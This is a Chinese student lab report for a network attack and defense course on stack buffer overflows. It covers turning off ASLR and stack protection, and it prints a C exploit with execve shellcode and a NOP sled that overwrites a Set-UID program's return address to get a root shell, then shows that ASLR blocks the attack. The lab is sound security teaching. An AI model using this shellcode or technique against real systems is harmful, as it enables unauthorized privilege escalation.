《网络攻防技术与实践》第十周作业 缓冲区溢出攻防研究
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
二、实验准备
实验楼提供的是64位Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做一些准备。
1、输入命令安装一些用于编译32位C程序的东西：
三、攻击漏洞程序并获得root权限
3.1初始设置
输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，所以输入“/bin/bash”使用bash
-
Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。设置zsh程序：
3.2 shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。
3.3 漏洞程序
新建stack.c文件，保存在/tmp目录下：
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置SET-UID。如下：
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。新建“exploit.c”文件，保存到 /tmp 目录下。代码如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"//xorl %eax,%eax
"\x50"//pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3"//movl %esp,%ebx
"\x50"//pushl %eax
"\x53"//pushl %ebx
"\x89\xe1"//movl %esp,%ecx
"\x99"//cdq
"\xb0\x0b"//movb $0x0b,%al
"\xcd\x80"//int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码，“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址，输入命令：
gdb stack
disass main结果如图：
接下来的操作：
根据语句 strcpy(buffer+100,shellcode),计算shellcode的地址为 0xffffd060(十六进制)+100(十进制)=0xffffd0c4(十六进制)
修改exploit.c文件,将 \x??\x??\x??\x?? 修改为 \xc4\xd0\xff\xff
然后，编译exploit.c程序：
gcc -m32 -o exploit exploit.c3.5 攻击结果
先运行攻击程序exploit，再运行漏洞程序stack，观察结果：
实验二：打开系统的地址空间随机化机制，重复用exploit程序攻击stack程序，发现不能获得root权限
初始设置：
设置zsh程序：
重新建stack,c文件，保存在/tmp目录下：
编译该程序，并设置SET-UID：
新建exploit.c，同样保存在/tmp目录下：
为得到shellcode在内存中的地址，输入命令：
gdb stack
disass main
修改shellcode的地址：
重复用exploit程序攻击stack程序，发现没有攻击成功，不能获得root权限：
实验三：将/bin/sh重新指向/bin/bash（或/bin/dash），观察能否攻击成功，能否获得root权限。
当关闭空间地址随机化时，可以攻击成功，获得root权限：
当打开系统的地址空间随机化机制，攻击失败，无法获得root权限。